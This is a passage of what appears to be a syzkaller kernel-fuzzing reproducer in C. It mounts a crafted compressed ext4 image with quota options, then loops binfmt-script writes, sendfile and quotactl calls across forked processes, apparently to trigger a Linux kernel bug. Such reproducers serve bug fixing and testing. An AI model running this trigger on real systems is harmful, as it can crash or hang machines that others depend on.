symbol = puff_decode(s, distcode);
if (symbol < 0)
return symbol;
unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
if (dist > s->outcnt)
return -11;
if (s->outcnt + len > s->outlen)
return 1;
while (len--) {
if (dist <= s->outcnt && s->out[s->outcnt - dist])
s->out[s->outcnt] = s->out[s->outcnt - dist];
s->outcnt++;
}
}
} while (symbol != 256);
return 0;
}
static int puff_fixed(struct puff_state* s)
{
static int virgin = 1;
static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
static struct puff_huffman lencode, distcode;
if (virgin) {
lencode.count = lencnt;
lencode.symbol = lensym;
distcode.count = distcnt;
distcode.symbol = distsym;
short lengths[FIXLCODES];
int symbol;
for (symbol = 0; symbol < 144; symbol++)
lengths[symbol] = 8;
for (; symbol < 256; symbol++)
lengths[symbol] = 9;
for (; symbol < 280; symbol++)
lengths[symbol] = 7;
for (; symbol < FIXLCODES; symbol++)
lengths[symbol] = 8;
puff_construct(&lencode, lengths, FIXLCODES);
for (symbol = 0; symbol < MAXDCODES; symbol++)
lengths[symbol] = 5;
puff_construct(&distcode, lengths, MAXDCODES);
virgin = 0;
}
return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5,
11, 4, 12, 3, 13, 2, 14, 1, 15};
int nlen = puff_bits(s, 5) + 257;
int ndist = puff_bits(s, 5) + 1;
int ncode = puff_bits(s, 4) + 4;
if (nlen > MAXLCODES || ndist > MAXDCODES)
return -3;
short lengths[MAXCODES];
int index;
for (index = 0; index < ncode; index++)
lengths[order[index]] = puff_bits(s, 3);
for (; index < 19; index++)
lengths[order[index]] = 0;
short lencnt[MAXBITS + 1], lensym[MAXLCODES];
struct puff_huffman lencode = {lencnt, lensym};
int err = puff_construct(&lencode, lengths, 19);
if (err != 0)
return -4;
index = 0;
while (index < nlen + ndist) {
int symbol;
int len;
symbol = puff_decode(s, &lencode);
if (symbol < 0)
return symbol;
if (symbol < 16)
lengths[index++] = symbol;
else {
len = 0;
if (symbol == 16) {
if (index == 0)
return -5;
len = lengths[index - 1];
symbol = 3 + puff_bits(s, 2);
} else if (symbol == 17)
symbol = 3 + puff_bits(s, 3);
else
symbol = 11 + puff_bits(s, 7);
if (index + symbol > nlen + ndist)
return -6;
while (symbol--)
lengths[index++] = len;
}
}
if (lengths[256] == 0)
return -9;
err = puff_construct(&lencode, lengths, nlen);
if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
return -7;
short distcnt[MAXBITS + 1], distsym[MAXDCODES];
struct puff_huffman distcode = {distcnt, distsym};
err = puff_construct(&distcode, lengths + nlen, ndist);
if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
return -8;
return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
const unsigned char* source, unsigned long sourcelen)
{
struct puff_state s = {
.out = dest,
.outlen = *destlen,
.outcnt = 0,
.in = source,
.inlen = sourcelen,
.incnt = 0,
.bitbuf = 0,
.bitcnt = 0,
};
int err;
if (setjmp(s.env) != 0)
err = 2;
else {
int last;
do {
last = puff_bits(&s, 1);
int type = puff_bits(&s, 2);
err = type == 0 ? puff_stored(&s)
: (type == 1 ? puff_fixed(&s)
: (type == 2 ? puff_dynamic(&s) : -1));
if (err != 0)
break;
} while (!last);
}
*destlen = s.outcnt;
return err;
}

//% END CODE DERIVED FROM puff.{c,h}

#define ZLIB_HEADER_WIDTH 2

static int puff_zlib_to_file(const unsigned char* source,
unsigned long sourcelen, int dest_fd)
{
if (sourcelen < ZLIB_HEADER_WIDTH)
return 0;
source += ZLIB_HEADER_WIDTH;
sourcelen -= ZLIB_HEADER_WIDTH;
const unsigned long max_destlen = 132 << 20;
void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (ret == MAP_FAILED)
return -1;
unsigned char* dest = (unsigned char*)ret;
unsigned long destlen = max_destlen;
int err = puff(dest, &destlen, source, sourcelen);
if (err) {
munmap(dest, max_destlen);
errno = -err;
return -1;
}
if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
munmap(dest, max_destlen);
return -1;
}
return munmap(dest, max_destlen);
}

static int setup_loop_device(unsigned char* data, unsigned long size,
const char* loopname, int* loopfd_p)
{
int err = 0, loopfd = -1;
int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (puff_zlib_to_file(data, size, memfd)) {
err = errno;
goto error_close_memfd;
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
close(memfd);
*loopfd_p = loopfd;
return 0;

error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}

static void reset_loop_device(const char* loopname)
{
int loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
return;
}
if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
}
close(loopfd);
}

static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile long flags, volatile long optsarg,
volatile long change_dir,
volatile unsigned long size, volatile long image)
{
unsigned char* data = (unsigned char*)image;
int res = -1, err = 0, need_loop_device = !!size;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
int loopfd;
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(data, size, loopname, &loopfd) == -1)
return -1;
close(loopfd);
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
bool has_remount_ro = false;
char* remount_ro_start = strstr(opts, "errors=remount-ro");
if (remount_ro_start != NULL) {
char after = *(remount_ro_start + strlen("errors=remount-ro"));
char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
has_remount_ro = ((before == '\0' || before == ',') &&
(after == '\0' || after == ','));
}
if (strstr(opts, "errors=panic") || !has_remount_ro)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
} else if (strncmp(fs, "gfs2", 4) == 0 &&
(strstr(opts, "errors=panic") || strstr(opts, "debug"))) {
strcat(opts, ",errors=withdraw");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
if (change_dir) {
res = chdir(target);
if (res == -1) {
err = errno;
}
}

error_clear_loop:
if (need_loop_device)
reset_loop_device(loopname);
errno = err;
return res;
}

static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}

static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}

static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}

struct thread_t {
int created, call;
event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}

static void execute_one(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
int i, call, thread;
for (call = 0; call < 11; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 50 + (call == 0 ? 4000 : 0));
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
int iter = 0;
for (;; iter++) {
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
sleep_ms(10);
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}

uint64_t r[4] = {0x0, 0xffffffffffffffff, 0x0, 0xffffffffffffffff};

void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
// syz_mount_image$ext4 arguments: [
// fs: ptr[in, buffer] {
// buffer: {65 78 74 34 00} (length 0x5)
// }
// dir: ptr[in, buffer] {
// buffer: {6d 6e 74 00} (length 0x4)
// }
// flags: mount_flags = 0x0 (8 bytes)
// opts: ptr[in, fs_options[ext4_options]] {
// fs_options[ext4_options] {
// elems: array[fs_opt_elem[ext4_options]] {
// fs_opt_elem[ext4_options] {
// elem: union ext4_options {
// quota: buffer: {71 75 6f 74 61} (length 0x5)
// }
// comma: const = 0x2c (1 bytes)
// }
// fs_opt_elem[ext4_options] {
// elem: union ext4_options {
// grpjquota: buffer: {67 72 70 6a 71 75 6f 74 61 3d} (length
// 0xa)
// }
// comma: const = 0x2c (1 bytes)
// }
// }
// common: array[fs_opt_elem[fs_options_common]] {
// }
// null: const = 0x0 (1 bytes)
// }
// }
// chdir: int8 = 0x3 (1 bytes)
// size: len = 0x236 (8 bytes)
// img: ptr[in, buffer] {
// buffer: (compressed buffer with length 0x236)
// }
// ]
// returns fd_dir
memcpy((void*)0x200000000240, "ext4\000", 5);
memcpy((void*)0x200000000280, "mnt\000", 4);
memcpy((void*)0x200000000040, "quota", 5);
*(uint8_t*)0x200000000045 = 0x2c;
memcpy((void*)0x200000000046, "grpjquota=", 10);
*(uint8_t*)0x200000000050 = 0x2c;
*(uint8_t*)0x200000000051 = 0;
memcpy(
(void*)0x200000000300,
"\x78\x9c\xec\xdd\x31\x68\x33\x65\x1c\x06\xf0\xe7\x2e\x89\x9f\xfd\xbe"
"\x20\x55\x17\x41\x50\x41\x44\xb4\x50\xea\x26\xb8\xd4\x45\xa1\x20\xa5"
"\x88\x08\x2a\x54\x44\x5c\x94\x56\xa8\x2d\x6e\xad\x93\x8b\x83\xce\x2a"
"\x9d\x5c\x8a\xb8\x59\x1d\xa5\x4b\x71\x51\x04\xa7\xaa\x1d\xea\x22\x68"
"\x71\xb0\x38\xe8\x10\xb9\x5c\x2b\xd5\x46\x14\x53\x73\xf2\xdd\xef\x07"
"\x97\xdc\x25\xef\x7b\xff\xf7\xb8\x7b\xde\x64\x39\x2e\x40\x6b\x4d\x27"
"\x99\x4f\xd2\x49\x32\x93\xa4\x97\xa4\x38\xdf\xe0\xae\x7a\x99\x3e\xdd"
"\xdc\x9e\xda\x5f\x4e\x06\x83\xc7\x7f\x2c\x86\xed\xea\xed\xda\x59\xbf"
"\x6b\x49\xb6\x92\x3c\x98\x64\xaf\x2c\xf2\x62\x37\xd9\xd8\x7d\xfa\xe8"
"\xe7\x83\x47\xef\x7d\x63\xbd\x77\xcf\x7b\xbb\x4f\x4d\x4d\xf4\x20\x4f"
"\x1d\x1f\x1d\x3e\x76\xf2\xee\xe2\xeb\x1f\x2e\x3c\xb0\xf1\xf9\x97\xdf"
"\x2f\x16\x99\x4f\xff\x0f\xc7\x75\xf9\x8a\x11\x9f\x75\x8b\xe4\x96\xff"
"\xa2\xd8\xff\x44\xd1\x6d\x7a\x04\xfc\x13\x4b\xaf\x7e\xf0\x55\x95\xfb"
"\x5b\x93\xdc\x3d\xcc\x7f\x2f\x65\xea\x93\xf7\xe6\xda\x0d\x7b\xbd\xdc"
"\xff\xce\x5f\xf5\x7d\xeb\x87\x2f\x6e\x9f\xe4\x58\x81\xcb\x37\x18\xf4"
"\xaa\xdf\xc0\xad\x01\xd0\x3a\x65\x92\x7e\x8a\x72\x36\x49\xbd\x5e\x96"
"\xb3\xb3\xf5\x7f\xf8\xaf\x3b\x57\xcb\x97\x56\xd7\x5e\x99\x79\x61\x75"
"\x7d\xe5\xf9\xa6\x67\x2a\xe0\xb2\xf4\x93\xc3\x47\x3e\xbe\xf2\xd1\xb5"
"\x3f\xe5\xff\xbb\x4e\x9d\x7f\xe0\xfa\x55\xe5\xff\x89\xa5\x9d\x6f\xaa"
"\xf5\x93\x4e\xd3\xa3\x01\x26\xa9\xca\xff\xcc\xb3\x9b\xf7\x45\xfe\xa1"
"\x75\xe4\x1f\xda\x4b\xfe\xa1\xbd\xe4\x1f\xda\x4b\xfe\xa1\xbd\xe4\x1f"
"\xda\x4b\xfe\xa1\xbd\xe4\x1f\xda\x4b\xfe\xa1\xbd\xe4\x1f\xda\xeb\x7c"
"\xfe\x01\x80\x76\x19\x5c\x69\xfa\x0e\x64\xa0\x29\x4d\xcf\x3f\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x45\xdb\x53\xfb"
"\xcb\x67\xcb\xa4\x6a\x7e\xfa\x76\x72\xfc\x70\x92\xee\xa8\xfa\x9d\xe1"
"\xf3\x88\x93\x1b\x87\xaf\x57\x7f\x2a\xaa\x66\xbf\x2b\xea\x6e\x63\x79"
"\xe6\xce\x31\x77\x30\xa6\xf7\x1b\xbe\xfb\xfa\xa6\x6f\x9b\xad\xff\xd9"
"\x1d\xcd\xd6\xdf\x5c\x49\xb6\x5e\x4b\x32\xd7\xed\x5e\xbc\xfe\x8a\xd3"
"\xeb\xef\xdf\xbb\xf9\x6f\xbe\xef\x3d\x37\x66\x81\x31\x3d\xf4\x64\xb3"
"\xf5\x7f\xdd\x69\xb6\xfe\xc2\x41\xf2\x49\x35\xff\xcc\x8d\x9a\x7f\xca"
"\xdc\x36\x7c\x1f\x3d\xff\xf4\xab\xf3\x37\x66\xfd\x97\x7f\x19\x73\x07"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4c\xcc\x6f\x01\x00\x00\xff"
"\xff\xc9\xf4\x6d\x29",
566);
syz_mount_image(/*fs=*/0x200000000240, /*dir=*/0x200000000280, /*flags=*/0,
/*opts=*/0x200000000040, /*chdir=*/3, /*size=*/0x236,
/*img=*/0x200000000300);
break;
case 1:
// syz_create_resource$binfmt arguments: [
// file: ptr[in, buffer] {
// buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
// }
// ]
// returns ptr_binfmt_file
memcpy((void*)0x200000000040, "./file1\000", 8);
res = -1;
res = syz_create_resource(/*file=*/0x200000000040);
if (res != -1)
r[0] = res;
break;
case 2:
// openat$binfmt arguments: [
// fd: const = 0xffffffffffffff9c (8 bytes)
// file: ptr_binfmt_file (resource)
// flags: const = 0x42 (4 bytes)
// mode: const = 0x1ff (2 bytes)
// ]
// returns fd_binfmt
res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/r[0],
/*flags=*/0x42, /*mode=*/0x1ff);
if (res != -1)
r[1] = res;
break;
case 3:
// write$binfmt_script arguments: [
// fd: fd_binfmt (resource)
// data: ptr[in, binfmt_script] {
// binfmt_script {
// hdr: buffer: {23 21 20} (length 0x3)
// bin: buffer: {2e 2f 66 69 6c 65 31} (length 0x7)
// args: array[binfmt_script_arg] {
// binfmt_script_arg {
// sp: const = 0x20 (1 bytes)
// arg: buffer: {2c 7b 2b} (length 0x3)
// }
// }
// nl: const = 0xa (1 bytes)
// data: buffer: {} (length 0x0)
// }
// }
// len: bytesize = 0xf (8 bytes)
// ]
memcpy((void*)0x200000000d00, "#! ", 3);
memcpy((void*)0x200000000d03, "./file1", 7);
*(uint8_t*)0x200000000d0a = 0x20;
memcpy((void*)0x200000000d0b, ",{+", 3);
*(uint8_t*)0x200000000d0e = 0xa;
syscall(__NR_write, /*fd=*/r[1], /*data=*/0x200000000d00ul, /*len=*/0xful);
break;
case 4:
// sendfile arguments: [
// fdout: fd (resource)
// fdin: fd (resource)
// off: ptr[inout, intptr] {
// intptr = 0x6 (8 bytes)
// }
// count: intptr = 0xc717 (8 bytes)
// ]
*(uint64_t*)0x200000000180 = 6;
syscall(__NR_sendfile, /*fdout=*/r[1], /*fdin=*/r[1],
/*off=*/0x200000000180ul, /*count=*/0xc717ul);
break;
case 5:
// syz_create_resource$binfmt arguments: [
// file: ptr[in, buffer] {
// buffer: {2e 2f 66 69 6c 65 31 00} (length 0x8)
// }
// ]
// returns ptr_binfmt_file
memcpy((void*)0x200000000040, "./file1\000", 8);
res = -1;
res = syz_create_resource(/*file=*/0x200000000040);
if (res != -1)
r[2] = res;
break;
case 6:
// quotactl$Q_SETQUOTA arguments: [
// cmd: quota_cmd_setquota = 0xffffffff80000801 (8 bytes)
// special: ptr[in, blockdev_filename] {
// union blockdev_filename {
// loop: loop_filename {
// prefix: buffer: {2f 64 65 76 2f 6c 6f 6f 70} (length 0x9)
// id: proc = 0x0 (1 bytes)
// z: const = 0x0 (1 bytes)
// }
// }
// }
// id: uid (resource)
// addr: nil
// ]
memcpy((void*)0x200000000040, "/dev/loop", 9);
*(uint8_t*)0x200000000049 = 0x30 + procid * 1;
*(uint8_t*)0x20000000004a = 0;
syscall(__NR_quotactl, /*cmd=Q_SETQUOTA_GRP*/ 0xffffffff80000801ul,
/*special=*/0x200000000040ul, /*id=*/0, /*addr=*/0ul);
break;
case 7:
// openat$binfmt arguments: [
// fd: const = 0xffffffffffffff9c (8 bytes)
// file: ptr_binfmt_file (resource)
// flags: const = 0x42 (4 bytes)
// mode: const = 0x1ff (2 bytes)
// ]
// returns fd_binfmt
res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/r[2],
/*flags=*/0x42, /*mode=*/0x1ff);
if (res != -1)
r[3] = res;
break;
case 8:
// write$binfmt_script arguments: [
// fd: fd_binfmt (resource)
// data: ptr[in, binfmt_script] {
// binfmt_script {
// hdr: buffer: {23 21 20} (length 0x3)
// bin: buffer: {2e 2f 66 69 6c 65 31} (length 0x7)
// args: array[binfmt_script_arg] {
// }
// nl: const = 0xa (1 bytes)
// data: buffer: {} (length 0x0)
// }
// }
// len: bytesize = 0xb (8 bytes)
// ]
memcpy((void*)0x2000000003c0, "#! ", 3);
memcpy((void*)0x2000000003c3, "./file1", 7);
*(uint8_t*)0x2000000003ca = 0xa;
syscall(__NR_write, /*fd=*/r[3], /*data=*/0x2000000003c0ul, /*len=*/0xbul);
break;
case 9:
// ioctl$sock_SIOCGIFINDEX arguments: [
// fd: sock (resource)
// cmd: const = 0x8933 (4 bytes)
// arg: nil
// ]
syscall(__NR_ioctl, /*fd=*/(intptr_t)-1, /*cmd=*/0x8933, /*arg=*/0ul);
break;
case 10:
// sendfile arguments: [
// fdout: fd (resource)
// fdin: fd (resource)
// off: ptr[inout, intptr] {
// intptr = 0x6 (8 bytes)
// }
// count: intptr = 0xc717 (8 bytes)
// ]
*(uint64_t*)0x200000000180 = 6;
syscall(__NR_sendfile, /*fdout=*/r[3], /*fdin=*/r[3],
/*off=*/0x200000000180ul, /*count=*/0xc717ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul,
/*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
for (procid = 0; procid < 8; procid++) {
if (fork() == 0) {
loop();
}
}
sleep(1000000);
return 0;
}